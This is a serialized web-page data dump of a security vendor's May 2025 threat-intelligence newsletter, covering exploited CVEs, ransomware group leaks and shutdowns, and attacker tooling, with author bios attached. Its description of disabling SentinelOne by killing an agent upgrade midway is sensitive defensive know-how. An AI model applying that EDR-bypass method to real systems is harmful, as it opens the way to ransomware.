[{"_1":2,"_3":-5,"_4":-5},"loaderData",{"_5":6,"_7":8},"actionData","errors","root",{"_3501":17,"_3502":3503,"_3504":3505,"_3506":3507,"_3508":17,"_3509":3510,"_3511":3512,"_3513":17,"_3514":3515},"routes/$",{"_9":10,"_11":12,"_13":14,"_15":-5,"_16":17,"_18":19,"_20":21,"_22":23,"_24":25},"page",{"_211":3078,"_213":3079,"_34":3080,"_216":3081,"_218":3082,"_54":25,"_222":3083,"_224":221,"_225":3084,"_227":3085,"_56":3086,"_527":3087,"_230":230,"_231":3088,"_233":3089,"_283":17,"_235":236,"_237":3090},"builderApiKey","3eb6f92aedf74f109c7b4b0897ec39a8","pageContextData",[31],"priceData","usingGraphite",false,"relatedResources",{"_26":27,"_18":28,"_29":30},"recommendedEntries",[],"metadataTags",[],"contentEntryId","866f5e547e02448b8dcd697e95e8267d","dataSource","Builder",[],"additionalResources",[],{"_32":33,"_34":35,"_36":37},"model","adversary-tactics","data",[38,39,40,41,42,43,44,45,46,47,48,49,50,51,52],"identifier","adversary tactics",{"_34":2980,"_54":2981,"_56":2982},{"_34":2894,"_54":2895,"_56":2896},{"_34":2659,"_54":2660,"_56":2661},{"_34":2409,"_54":2410,"_56":2411},{"_34":2330,"_54":2331,"_56":2332},{"_34":2124,"_54":2125,"_56":2126},{"_34":1905,"_54":1906,"_56":1907},{"_34":1699,"_54":1700,"_56":1701},{"_34":1529,"_54":1530,"_56":1531},{"_34":1300,"_54":1301,"_56":1302},{"_34":1100,"_54":1101,"_56":1102},{"_34":855,"_54":856,"_56":857},{"_34":636,"_54":637,"_56":638},{"_34":424,"_54":425,"_56":426},{"_34":53,"_54":55,"_56":57},{"_58":59,"_60":61,"_62":63,"_64":65,"_66":67,"_68":69,"_70":71,"_72":73,"_74":75,"_76":-5,"_77":78,"_56":57,"_79":80,"_81":82,"_83":84,"_85":86,"_87":88,"_89":90,"_91":92},"id","9b8a90a89a0c4194904f72f1f8bd64a8","name","Threat View from the Lens of Huntress Adversary Tactics: May 2025","altText","Profile of the Huntress Logo","breadcrumbs",[415,416,417],"continueReading",{"_94":95},"contributors",[198,199,200,201,202],"ctaSection",{"_186":187,"_188":189,"_190":191,"_183":192},"indexOverride",{},"introSection",{"_122":185,"_94":95},"jsonLd",{},"keyTakeaways",{"_122":184,"_94":17},"lastUpdatedDate","metadata",{"_179":180,"_181":182,"_183":57},"newsletterContent",{"_106":107},"publishedDate","Thu May 01 2025 00:00:00 GMT-0400 (Eastern Daylight Time)","sidebarCta",{"_96":97,"_98":99,"_100":101,"_102":103,"_94":95,"_104":105},"slug","may-2025","socialShare",{"_94":95},"thumbnail","https://images.huntress.com/asset/file/19d9b4ce53fe4166a8f6b56303d0f27f","verifiedLocales",[93],"es-US","showSection",true,"buttonTarget","","buttonText","Book a Demo","buttonUrl","/demo","heading","See Huntress In Action","text","

Our platform combines a suite of powerful managed detection and response tools for endpoints and Microsoft 365 identities, science-backed security awareness training, and the expertise of our 24/7 Security Operations Center (SOC).

","topics",[108,109,110,111,112],{"_113":166,"_115":167,"_117":168,"_118":169},{"_113":154,"_115":155,"_117":97,"_118":156},{"_113":141,"_115":142,"_117":143,"_118":144},{"_113":128,"_115":129,"_117":130,"_118":131},{"_113":114,"_115":116,"_117":97,"_118":119},"icon","https://images.huntress.com/asset/file/ad3d26af88544df49132b5a574213ac5","sections",[120,121],"topicDescription","topicTitle","Highlights",{"_122":126,"_102":127,"_125":97},{"_122":123,"_102":124,"_125":97},"content","

The Adversary Tactics team lead the collaboration efforts between Huntress and the yearly Verizon DBIR Report. Huntress is uniquely positioned to have insight into threats that are actually plaguing smaller businesses, like no other company currently in the industry. Verizon was eager to collaborate, and were able to incorporate our findings into their report, and they hope to have further collaboration in the future.

\n\n

$\"\"$

","Verizon DBIR","takeawayContent","\n \n \n \n \n \n \n

$\"\"$

May 2025’s Tradecraft Tuesday covered infostealers, which is a threat currently plaguing the world. What was once considered a minor annoyance has now grown into a full fledged threat, enabling credential theft and identity-based attacks, and setting the stage for future attacks.

In addition to the overall view of various infostealer families, this episode also included relevant tradecraft that was exposed by reports from our SOC, much to the delight of the audience.

","Tradecraft Tuesday","https://images.huntress.com/asset/file/469b0ef77d6e4a458b3053f54b924284",[132,133,134],"

We’d like to highlight some killer new capabilities that our partners in Product Research and Product have released to help mess up attackers. We’re excited to use this data as we continue to arm our customers against threat actors.

","Relevant Product Updates",{"_122":139,"_102":140,"_125":97},{"_122":137,"_102":138,"_125":97},{"_122":135,"_102":136,"_125":97},"

We launched our Rogue Apps capability for ITDR. Most Microsoft 365 environments allow any user to install any app to the tenant by default. Attackers know this all too well, and are taking advantage of this with malicious or compromised OAuth apps, enabling credential theft. With Rogue Apps, we’re flipping the script. You won’t just find out about malicious apps after the damage is done - you can detect and block them from the start. Another huge win for cracking down on attackers!

","ITDR","

New and Improved SIEM Detections

Recently, we've added 46 net-new detections and tuned 17 existing detections for Managed SIEM. By continuously refining our detection logic and proactively hunting for threats, we're able to help our partners and customers benefit from an ever-improving security posture.

","SIEM","

AiTM Phishing Detection

Huntress recently added new detections to our EDR product to help identify when users land on phishing sites designed to steal Microsoft 365 credentials—not just passwords, but full authentication tokens.

These are called Adversary-in-the-Middle (AiTM) attacks. Unlike traditional phishing, AiTM campaigns intercept authentication traffic in real-time, stealing session cookies or OAuth tokens to bypass MFA and gain immediate access to Microsoft 365 environments. Huntress EDR can now detect when a user visits AiTM phishing sites, but there’s a catch: EDR alone can’t tell us if the attack was successful.

This is where Huntress ITDR (Identity Threat Detection & Response) steps in. By combining EDR and ITDR, Huntress gains the identity-level visibility needed to confirm whether a session token was compromised—and if so, we take full action on your behalf: revoking active sessions, resetting passwords, and stopping intrusions before attackers escalate access.

Takeaways: If you want Huntress to not only detect these sophisticated phishing attempts, but also fully contain and remediate them, consider deploying ITDR today.

Lateral Movement Detection

Another big win on the horizon for our EDR product is Lateral Movement Detection. This will allow us to quickly pick up on attackers as they start to move from machine to machine within a victim’s environment. This is a huge differentiator - and we’ve already used it to ruin the plans of ransomware actors! The following two pictures show unhindered lateral movement, while the second picture shows alerting on lateral movement as it happens:

\n\n \n \n \n \n \n \n

$\"\"$

If threat actors are still moving around in the environment, it is likely that they are still early in the process of reconnaissance and exfiltration - before more damaging actions have taken place. Anytime we can get an early drop on threat actors, we have a chance to shut down the attack before damage is done.

Tracking Processes Spawned from Malicious Logon Sessions

New as of mid-May is a detection capability that allows us to alert on processes that are created from the same user who logged on from a known malicious workstation name. This gives even better visibility into what threat actors are doing on a machine - meaning we can block their activity even more quickly. As you can see in the figure below, this is an alert of reconnaissance activity that was done as part of a pre-ransomware event:

\n\n\n

$\"\"$

Getting ahead of ransomware actors is always the goal. The sooner we can alert, the less potential damage that the threat actors can do.

","EDR","https://images.huntress.com/asset/file/3f67ff681f8e4b85b725378953a10bd2",[145,146,147],"

For the unaffiliated, “Rapid Responses” spin up in the event that there is a vulnerability, or threat that attackers are leveraging in order to further their attacks at scale. When we hear of a potential vulnerability, the Adversary Tactics team collaborates with other teams across Huntress, and sets to work on figuring out the potential impact, and what new and/or novel information we can publish about it. Ultimately, we will also find potentially impacted customers and notify them, as well as publish a blog with all the juicy details to further educate the community. Here are some examples of Rapid Responses that we’ve completed within the last month:

","Rapid Responses",{"_122":152,"_102":153,"_125":97},{"_122":150,"_102":151,"_125":97},{"_122":148,"_102":149,"_125":97},"

TL;DR: In early May, we saw evidence of exploitation of a Samsung MagicINFO 9 Server flaw.

The Details: We saw limited exploitation for the flaw; over 75 different machines had MagicINFO installed across our customer base, but we only saw three separate incidents involving the flaw. Because this vulnerability impacts the latest version of Samsung MagicINFO 9 Server, we urged users to make sure their servers aren’t internet facing, as no patch existed at the time of publication. After publication of the initial Rapid Response, Samsung released a software update fixing the vulnerability (CVE-2025-4632).

The Upshot: We independently verified that the latest version of Samsung MagicINFO 9 Server was vulnerable to a publicly available PoC, despite widespread reports that said otherwise.

$\"\"$

Acknowledgements: We’d like to thank our partners over on the Hunt and Response team, Jai Minton and Craig Sweeney, for handling the bulk of the lift of the initial investigation into the MagicINFO vulnerability, recreating the exploit, and writing the original blog post. It’s a team effort, and together, we win!

","MagicINFO (6 May 2025)","

TL;DR: In mid April, we saw evidence of exploitation of a flaw in Gladinet CentreStack and Triofox (CVE-2025-30406).

$\"\"$
$\"\"$
$\"\"$ The Details: Overall, we saw seven different customers that were impacted by exploitation for this vulnerability (with around 120 endpoints running the Gladinet CentreStack software across our partner base). Email notifications were sent to partners to notify them that they should take the necessary patch or mitigation steps.

\n\n\n\n

The Upshot: Not only did we clarify that CVE-2025-30406 also exists in Gladinet Triofox in addition to CentreStack (a fact that had not been widely reported), but we also prepared a PowerShell script so that customers could check if they are vulnerable.

","Gladinet CentreStack (12 Apr 2025)","

TL;DR: In early April, we saw evidence of exploitation of CrushFTP CVE-2025-31161.

The Details: While we saw a small handful of our customers actually impacted as a result of this software vulnerability, there were more than 100 potentially vulnerable machines across our customers. In all observed incidents, attackers leveraged the vulnerability in order to install RMMs such as MeshAgent and SimpleHelp.

The Upshot: We were more than prepared for this type of threat, and the SOC received alerts for activities surrounding these attacks well before it was reported by media outlets.

","CrushFTP (4 Apr 2025)","https://images.huntress.com/asset/file/a62e93bb305341489b4d21359e5b62fb",[157,158,159],"Threats Around the World",{"_122":164,"_102":165,"_125":97},{"_122":162,"_102":163,"_125":97},{"_122":160,"_102":161,"_125":97},"

Ransomware Groups Hacked

TL;DR: In late April or early May 2025, LockBit’s dark web affiliate panels were breached and defaced by an unknown threat actor. The defacement replaced the panels with a mocking message: \"Don’t do crime CRIME IS BAD xoxo from Prague,\" accompanied by a link to a MySQL database dump titled paneldb_dump.zip. The database, analyzed by BleepingComputer, contained 20 tables exposing critical operational details:

btc_addresses Table: Included 59,975 unique Bitcoin addresses, likely used for ransom payments and laundering. This exposed LockBit’s financial infrastructure, potentially aiding law enforcement in tracking transactions.
builds Table: Listed individual ransomware builds created by affiliates, including public encryption keys (but no private keys) and, in some cases, targeted company names, revealing attack specifics.
builds_configurations Table: Detailed build settings, such as instructions to skip certain ESXi servers or encrypt specific files, providing insight into LockBit’s tactical customization.
chats Table: Contained 4,442 negotiation messages between LockBit operators and victims, spanning December 19, 2024, to April 29, 2025. These logs revealed aggressive extortion tactics, with demands ranging from a few thousand to $100,000. These are odd in the sense that LockBit was thought to be running a much more profitable scheme. This has implied that LockBit might be more closely aligned with governmental or state-ran alliances.
users Table: Exposed credentials for 75 admins and affiliates, with plaintext passwords like Weekendlover69 and Lockbitproud231, highlighting poor security practices.

The defacement message matched one used in a recent breach of the Everest ransomware group’s site, suggesting a possible connection, though the attacker’s identity remains unclear.

The Upshot: The 2025 LockBit hack was a critical blow, exposing operational details and undermining the group’s reputation. While it provides law enforcement and victims with valuable tools, LockBit’s history of resilience suggests it may attempt another comeback, potentially with LockBit 4.0. Organizations should prioritize robust cybersecurity practices, such as patching vulnerabilities, securing credentials, and maintaining offline backup to mitigate risks from LockBit and other ransomware infections.

$\"\"$

Hellcat Implosion

TL;DR: Hellcat surfaced in late 2024, quickly gaining notoriety for targeting high-profile organizations, including government agencies, educational institutions, energy sectors, and critical infrastructure. Operating under a RaaS model, Hellcat provided affiliates with ransomware tools and infrastructure in exchange for a share of the profits. The group was known for its sophisticated tactics, psychological manipulation, and aggressive pursuit of media attention.

On May 11, 2025, posts on X reported that Hellcat had ceased operations. The group’s darknet site displayed a \"cryptic farewell\" message, with no active leaks or files remaining, indicating a shutdown. An X post by @ido_cohen2 noted that Hellcat had attacked over 15 companies worldwide before closing. Another post by @ValeryMarchive suggested a possible reason for the disbandment: a leak by \"LB\" (potentially linked to the LockBit ransomware group) revealed that Hellcat affiliates had joined LockBit in January 2025, conducting five attacks under the LockBit brand without securing any ransom payments. This financial failure and exposure may have prompted Hellcat’s closure. A third post by @RFr0sty1 on May 13, 2025, categorized the shutdown as a \"new event\" in cyber threat intelligence, reinforcing the narrative of Hellcat’s cessation.

$\"\"$

The Upshot: Hellcat’s rapid rise and abrupt disbandment in May 2025 reflect the volatile nature of the ransomware landscape especially for 2025. Emerging in mid-2024, the group leveraged advanced TTPs, psychological tactics, and a RaaS model to target high-value organizations, causing significant disruption. Its closure, potentially driven by financial struggles, law enforcement pressure, or affiliate migration to LockBit, marks the end of a notable chapter in cybercrime. However, the group’s tactics and the broader RaaS ecosystem continue to pose challenges, emphasizing the need for proactive cybersecurity defenses. It is to be seen what legacy the group leaves behind in the future.

DragonForce

DragonForce has been in the news recently after the ransomware group claimed responsibility for a slew of attacks on UK retailers like Co-op, Harrods, and Marks and Spencer. We have observed DragonForce ransomware incidents over the past year, where customers’ files were encrypted with the extension .dragonforce_encrypted:

Dec. 2, 2024: The ransomware deployed by the threat actor triggered canary alerts stating that files had been encrypted
Feb. 22, 2025: Threat actors were able to access the endpoints via RDP shortly after connecting via PSExec; threat actors also stole browser credentials (see figure below) and installed a kernel mode driver that resulted in other security services on the victim endpoint (SentinelOne and Webroot) crashing

\n\n

There are currently warnings that similar attacks may shift to retailers in the US and elsewhere.

\n\n\n\n

$\"\"$

\n\n

As we highlighted in the 2025 Cyber Threat Report, more ransomware groups like Hunters International are shifting to attacks that prioritize data theft and extortion, rather than data encryption. Part of the reason for this change by threat actors is to evade EDR protections. The SOC has observed this trend play out in the wild, so it’s important for businesses to make an incident response plan that incorporates extortionware in addition to ransomware.

","Ransomware Landscape and Implosions","

TL;DR: Coinbase, the leading U.S. cryptocurrency exchange, disclosed an insider threat cyberattack that began with an extortion attempt on May 11th, 2025. Cybercriminals bribed overseas customer support agents, primarily in India, to steal personal data from less than 1% of Coinbase’s monthly transacting users (approximately 97,000 accounts, given Coinbase’s stated 9.7 million user base). The compromised data included names, addresses, phone numbers, government-issued IDs, and partial Social Security numbers, but no login credentials, two-factor authentication codes, private keys, or customer funds were accessed. The attackers reportedly used this data for social engineering scams, impersonating Coinbase to trick users into transferring cryptocurrency, and went on to demand a $20 million ransom to suppress the breach.

$\"\"$

The Upshot: Coinbase refused to pay, instead offering a controversial reverse bounty of $20 million reward for information leading to the arrest and conviction of the would-be extortionists. The company estimates remediation costs, including reimbursing affected customers, to range between $180 million and $400 million. Affected users were notified via email on May 15, and since the breach Coinbase implemented enhanced security measures, including relocating some support operations to a new U.S. hub and increasing transaction monitoring.

","Coinbase Pulls Out Uno Reverse Card on Would Be Extortionists","

TL;DR: Attackers were recently observed using a bypass technique that disables SentinelOne so that they can install the Babuk ransomware undetected. SentinelOne now has a workaround for this type of attack, however customers who obtained SentinelOne via CW were left without recourse for a period of time.

The Details: Attackers took advantage of an issue in the upgrade process for SentinelOne’s agent. When installing the agent, the installer deletes Windows processes and overwrites existing files with the new version. Attackers were seen deploying legitimate SentinelOne installer files, letting the installer terminate the existing running processes, and then forcing the Windows installer to terminate before it completed installation, effectively disabling SentinelOne.

The Upshot: While SentinelOne was vulnerable to this type of attack, Huntress most likely is not. We verified with Huntress engineering that as far as how agents are installed, the potential for this type of attack is almost close to nil. The main points as laid out by Rob Noeth, Principal Software Engineer on the Huntress EDR agent are:

\n\n

We don't have a download link for [our installers] anywhere, but it's on our CDN
We don't allow downgrades
Our rio (agent) upgrade rollout is fairly quick, and we don't have [older] versions sitting around
We also have tamper protection enabled in current agents

Caveat: It is theoretically possible that some of our installers may be available on VirusTotal, so we can’t discount this entirely. However, since we don’t allow downgrades, this type of attack should not be as easily successful.

","Breaking down the bring your own Installer attack","https://images.huntress.com/asset/file/405cbf20f7bf4106be8fcba535b5cfb6",[170,171,172],"

One of the workflows that Adversary Tactics has, is to document interesting threats that are surfaced from the SOC via reports. Here are some examples of interesting trends we’ve seen in the last few weeks.

","Threats Seen in the SOC",{"_122":177,"_102":178,"_125":97},{"_122":175,"_102":176,"_125":97},{"_122":173,"_102":174,"_125":97},"

$\"\"$

Looking over past incident reports from January 2025 - May 15, 2025 we are able to paint a picture of the most common ransomware variants that we’ve seen across our customers. Out of the 606 reports that were actually ransomware related, the most common variants were Unknown ransomware variants (not shown in the above chart), making up 58.4% of the number of reports issued this year. While some unknown ransomware reports may have just not been categorized, a sampling of these reports verified that some were, in fact, unknown samples, sometimes even poorly written ones. This seems to prove one of our previous findings from the 2024 Huntress Threat Report that showed that there are newcomers to the ransomware space trying to cut their teeth in perceived “low hanging fruit” environments.

Focusing on known ransomware variants, the most prolific ransomware family was Medusa, making up 26.6% of the number of reports from this year. Dridex malware, which is not ransomware, but ultimately led to ransomware, came in second at 22.6%, followed by Akira at 14.7%, and RansomHub at 12.7%. We also had one report that included a ransomware called Bl00dy, which is known to be used by a threat group named Storm-1305 by Microsoft. We’ve also seen incidents involving DragonForce (6.7%), which has been used by a threat group named Scattered Spider in the recent UK retailer attacks. We’ll discuss this last one a bit more a bit later in this newsletter.

Given the discord and disruption across ransomware actors this year (and discussed in an upcoming section), it will be interesting to see what will happen with ransomware across our customers. It will be interesting to see which threat actors scramble to fill the void that is left in the wake of others’ demise.

","Ransomware Seen Across Our Customers","

Threat actors are using a variety of tools for data exfiltration in attacks. Recently, we’ve observed threat actors misusing legitimate backup storage tools, such as MegaSYNC, RClone and BackBlaze. On May 2, for instance, the SOC responded to an incident where the threat actor, after logging in via RDP, attempted to use the legitimate BackBlaze cloud storage platform (along with WinRAR) to target and exfiltrate various file types.

$\"\"$

The Upshot: Threat actors and admins use similar techniques. Huntress Managed EDR looks for suspicious activity, including processes spawning from legitimate programs that are being abused by threat actors.

","Threat Actors’ Use of MegaSYNC, RClone, BackBlaze","

We’re seeing threat actors carry out credential theft by dumping the Windows Registry with Certutil (as seen in the May incident below). Certutil is a legitimate admin command line tool to view and manage certificates, among other things, but it’s often abused by attackers.

\n\n

$\"\"$

\n","Credential Theft via Certutil","assetType","Adversary Tactics","description","Huntress Adversary Tactics covers May 2025 threats including credential theft via Certutil, ransomware trends across customer environments, and rapid responses to critical CVEs in CrushFTP and Gladinet CentreStack.","title","

Welcome to the inaugural edition of the Huntress Adversary Tactics newsletter, meant to arm you with information about threats not only seen by Huntress, but also in the world externally. Since this is our first edition, the cadence may vary as we receive input from various stakeholders. This initial newsletter will also be more verbose than following ones, as we define some terms and workflows that may be unfamiliar to some. In the future, we hope to keep it short and sweet and meaningful.

The hope is that this will ultimately unify us all in our mission to mess up attackers who insist on targeting the most vulnerable population of the technical cyberspace - our customers, partners, and their customers. We welcome your input of what you’d like to see in the future.

","

","cta",{"_193":194,"_195":196,"_104":197},"image","https://images.huntress.com/asset/file/20e067bb0c2e4e3b8a1588c7b4a9f616","summary","

See how the global Huntress SOC can augment your team
with 24/7 coverage and unmatched human expertise.
Start your free trial today.

","Detect, Respond, Protect","href","/start-trial","hrefType","url","Try Huntress for Free",{"_203":380},{"_203":343},{"_203":309},{"_203":271},{"_203":204},"contributor",{"_205":206,"_54":207,"_32":208,"_209":210},"@type","@builder.io/core:Reference","7fb779bf8ddf42fda6c8463ccdf60a68","people","value",{"_211":212,"_213":214,"_34":215,"_216":217,"_218":219,"_54":207,"_220":221,"_222":223,"_224":221,"_225":226,"_227":228,"_56":229,"_230":230,"_231":232,"_233":234,"_235":236,"_237":238},"createdBy","0dThli925XPdcsMI4MRs7L7KCv22","createdDate",1744385801818,{"_58":239,"_240":241,"_242":243,"_244":245,"_246":247,"_248":249,"_250":251,"_252":253,"_254":255,"_77":256,"_56":229,"_257":258,"_259":260,"_85":261,"_91":262},"firstPublished",1744404673182,"folders",[],"lastUpdateSource","Write API","lastUpdated",1794330940714,"lastUpdatedBy","meta",{},"modelId","d50b5ec346a64579b280b4104dca236e","Lindsey O'Donnell-Welch","published","query",[],"rev","8zkwbkvdq1t","testRatio",1,"variations",{},"Huntress Default Headshot Image","bioDetail","

With more than a decade of experience translating complex security topics into compelling stories, Lindsey brings a sharp editorial eye and a passion for clarity to the Huntress team. Her mission? Breaking down the intricate world of cybersecurity to make it accessible for everyone. It’s one of the many reasons she loves being part of Huntress, where educating the public about threats takes center stage.

Before joining Huntress, Lindsey built her reputation in journalism, covering the intersection of technology and businesses. She’s reported for top cybersecurity publications like Threatpost and Decipher, delivering trusted coverage on everything from the SolarWinds supply chain breach to the SEC’s cybersecurity disclosure rules.

Lindsey’s go-to security advice? “Enable MFA and use a password manager—your future self will thank you.”

When she’s not writing about cyber threats, you’ll likely find her on the tennis court or exploring new trails with her endlessly energetic pup.

","bioDetailShort","With over 10 years of experience, Lindsey makes the intricate world of cybersecurity more accessible, translating complex security topics into compelling stories. ","companyName","Huntress","firstName","Lindsey ","groups",[264,265],"jobTitle","Principal Technical Community Engagement Writer","lastName","O'Donnell-Welch","linkedInUrl","https://www.linkedin.com/in/lindsey-o-donnell-welch-abb72b4a/",{"_181":263,"_183":229},"profileImage","https://images.huntress.com/asset/file/037877a541484d86ac239373c502608a","profileImageAltText","Lindsey O'Donnell-Welch Huntress ","lindsey-odonnell-welch",[93],"Read blog posts from Lindsey O'Donnell-Welch on the Huntress Blog.",{"_266":269},{"_266":267},"group",{"_205":206,"_54":268,"_32":248},"94f0a1d881ef4adf9cb8bc81412d8c85",{"_205":206,"_54":270,"_32":248},"00d1d80145b14a6b87c45567b169a8f4",{"_205":206,"_54":272,"_32":208,"_209":273},"6697eab7ecd63dccbf273c8b",{"_211":274,"_213":275,"_34":276,"_216":275,"_218":277,"_54":272,"_220":221,"_222":278,"_224":221,"_225":279,"_227":228,"_56":280,"_230":230,"_231":281,"_233":282,"_283":17,"_235":236,"_237":284},"wAnY6pD8qneav3wmIkWFzKSZXNM2",1742719345389,{"_240":285,"_242":286,"_246":287,"_248":288,"_250":289,"_252":290,"_77":291,"_56":280,"_292":293,"_257":294,"_259":295,"_85":296,"_91":297,"_298":299},[],1794331686304,{},"Greg Linares",[],"8e9xo5s5372","stageModifiedSincePublish",{},"

Also known as Laughing Mantis. He is the youngest hacker to be arrested in Arizona - which you can listen to on the Darknet Diaries.

","Also known as Laughing Mantis. He is the youngest hacker to be arrested in Arizona.","Greg",[304,305],"Former Principal Threat Intelligence Analyst","Linares",{"_181":300,"_301":17,"_302":17,"_183":303},"portraitImage","https://images.huntress.com/asset/file/23adc6976e58484583e45bc5ebcf9d20","https://images.huntress.com/asset/file/37c8efc8c38f4adbb63f169c7592f7b2","Greg Linares profile picture","greg-linares",[93],"xTwitterUrl","https://x.com/Laughing_Mantis","Read blog posts from Greg Linares, Principal Threat Intelligence Analyst, on the Huntress Blog.","noFollow","noIndex","Greg Linares | Huntress",{"_266":307},{"_266":306},{"_205":206,"_54":270,"_32":248},{"_205":206,"_54":308,"_32":248},"babc0d8823f34ab894a4431d5b302dc7",{"_205":206,"_54":310,"_32":208,"_209":311},"66032c1a34a761fda5e296f5",{"_211":274,"_213":312,"_34":313,"_216":312,"_218":314,"_54":310,"_220":221,"_222":315,"_224":221,"_225":316,"_227":228,"_56":317,"_230":230,"_231":318,"_233":319,"_235":236,"_237":320},1742719371916,{"_240":321,"_242":322,"_244":245,"_246":323,"_248":324,"_250":325,"_252":326,"_254":327,"_77":328,"_56":317,"_292":329,"_257":330,"_259":331,"_85":332,"_91":333,"_298":334},[],1794332049343,{},"Harlan Carvey",[],"m71ziahe33q",{},"

Hanging out where digital forensics meets incident response and threat intel.

“I was in grad school in 1994, and came across something interesting. The \"finger\" app was described as a 'security vulnerability'. I had no idea why this was the case, so I asked the senior sysadmin for the curriculum. She looked at me, smiled, and walked away without saying a word.” So began Harlan’s affinity for digging into head-scratching security questions.

Harlan is Staff Threat Intel Analyst, Adversary Tactics here at Huntress, poised at the intersection of digital forensics and incident response, threat hunting, and threat intel.

He leverages his extensive 20+ years of DFIR (Digital Forensics and Incident Response) experience to focus on threat intelligence, which is essentially unraveling how threat actors are looking to gain entry on endpoints and finding ways to detect it sooner in the attack cycle. Prior to Huntress, Harlan ran the internal SOC at EY. \t

But he doesn’t keep it all to himself, Harlan is an accomplished public speaker, writer, innovative researcher, and analyst. As a published author (besides the below blog posts!), Harlan has published 9 books, including the first book of its kind offering an analysis of the Windows Registry.

When he’s not at work, Harlan enjoys programming in Perl, reading, writing, and working around the farm.

‍

What's your favorite cybersecurity tip, Harlan?
“Do the basics well, beginning with an asset inventory and attack surface reduction.”

‍

","With over 20 years of Digital Forensics and Incident Response experience, Harlan is an accomplished public speaker, writer, innovative researcher, and analyst.","Harlan",[337,338,339],"Principal Threat Intelligence Analyst","Carvey","https://www.linkedin.com/in/harlan-carvey-86a8694b/",{"_181":335,"_301":17,"_302":17,"_183":336},"https://images.huntress.com/asset/file/110b52ecaef146ec9ea537d88a5ab596","https://images.huntress.com/asset/file/fa69b31eae1e4264b7c12bcfa5e0f9a5","Harlan Carvey profile picture","harlan-carvey",[93],"https://x.com/keydet89","Read blog posts from Harlan Carvey, Principal Threat Intelligence Analyst on the Huntress Blog.","Harlan Carvey - Principal Threat Intelligence Analyst | Huntress",{"_266":342},{"_266":341},{"_266":340},{"_205":206,"_54":268,"_32":248},{"_205":206,"_54":308,"_32":248},{"_205":206,"_54":270,"_32":248},{"_205":206,"_54":344,"_32":208,"_209":345},"66048bf51de5bd420f2f2608",{"_211":346,"_213":347,"_34":348,"_216":347,"_218":349,"_54":344,"_220":221,"_222":350,"_224":221,"_225":351,"_227":228,"_56":352,"_230":230,"_231":353,"_233":354,"_235":236,"_237":355},"0XU3rreLLCPzgsmuIQDqjlW9xhs2",1742719359732,{"_240":356,"_242":357,"_244":245,"_246":358,"_248":359,"_360":361,"_250":362,"_252":363,"_254":364,"_77":365,"_56":352,"_292":366,"_257":367,"_259":368,"_85":369,"_91":370,"_298":371},[],1794331535766,{},"John Hammond",[],"i17osgjq5u",{},"

Capturing flags, thwarting threats, and making cybersecurity accessible one endpoint at a time.

John Hammond is a cybersecurity researcher, educator and content creator. As part of the Adversary Tactics team at Huntress, John spends his days investigating hacker tradecraft and telling the stories behind current threats. Previously, as a Department of Defense Cyber Training Academy instructor, he taught the Cyber Threat Emulation course, educating both civilian and military members on the adversarial mindset and real-world attacks. John is an online YouTube personality, showcasing live demonstrations of malware, vulnerabilities, exploits, and broader cybersecurity education.

With a stack of certifications—including LFCS, PCAP, CompTIA Security+, CEH, eJPT, eCPPT, OSCP, OSCE (classic and 3), OSWP, OSEP, OSED, and OSWE—John brings serious technical prowess to the team. He’s honored to have received the RITA Award at Wild West Hacking Fest from Black Hills Information Security, and he credits the supportive, mission-driven environment at Huntress for enabling him to do meaningful work.

John’s impact extends globally as a leading educator and influencer; he was recently recognized by the French service Favikon as the #1 cybersecurity content creator in their Top 200 Creators Worldwide list, highlighting his massive influence and dedication to the community.

John is also an active voice in the community, sharing his experience through these Huntress on-demand virtual events:

Before joining Huntress, John served as an instructor and curriculum developer with the Department of Defense Cyber Crime Center and Cyber Training Academy, and later as a Red Team Cyber Operator at the Defense Threat Reduction Agency.

His top cybersecurity tip is a simple one: “Use a password manager—seriously!!”

Outside of work, John loves spending time with his family and taking the rest he needs to stay sharp. He also shares his life with two dogs, Bam Bam and Pebbles—named after the beloved Flintstones characters, of course.

Give John a follow on his socials:

‍

","A cybersecurity researcher, educator, and YouTube personality, John spends his days investigating hacker tradecraft and telling the stories behind current threats, showcasing live demonstrations of malware, vulnerabilities, exploits, and broader cybersecurity education.","John",[374,375,376],"instagramUrl","https://www.instagram.com/_johnhammond/","Senior Principal Security Researcher","Hammond","https://www.linkedin.com/in/johnhammond010/",{"_181":372,"_301":17,"_302":17,"_183":373},"https://images.huntress.com/asset/file/7743d3ad18734d4697f9e4aa467e670b","https://images.huntress.com/asset/file/0ebcc8e098b842e3b6c5d44ae153b485","John Hammond, Huntress","john-hammond",[93],"https://twitter.com/_johnhammond","Read blog posts from John Hammond on the Huntress Blog.","John Hammond - Principal Security Researcher | Huntress",{"_266":379},{"_266":378},{"_266":377},{"_205":206,"_54":268,"_32":248},{"_205":206,"_54":308,"_32":248},{"_205":206,"_54":270,"_32":248},{"_205":206,"_54":381,"_32":208,"_209":382},"66048bf7c9e8c5c4746884a7",{"_211":346,"_213":383,"_34":384,"_216":383,"_218":385,"_54":381,"_220":221,"_222":386,"_224":221,"_225":387,"_227":228,"_56":388,"_230":230,"_231":389,"_233":390,"_283":17,"_235":236,"_237":391},1742719352103,{"_240":392,"_242":393,"_244":245,"_246":394,"_248":395,"_250":396,"_252":397,"_254":398,"_77":399,"_56":388,"_292":400,"_257":401,"_259":402,"_85":403,"_404":405,"_91":406},[],1794331674733,{},"Jamie Levy",[],"8pc58xj1xoi",{},"

Jamie is also a researcher, developer and board member of the Volatility Foundation. She has worked over 15 years in the digital forensics industry, conducting investigations as well as building out software solutions. Jamie is also a co-author of The Art of Memory Forensics, the first book of its kind covering various facets of how to investigate RAM artifacts.

‍

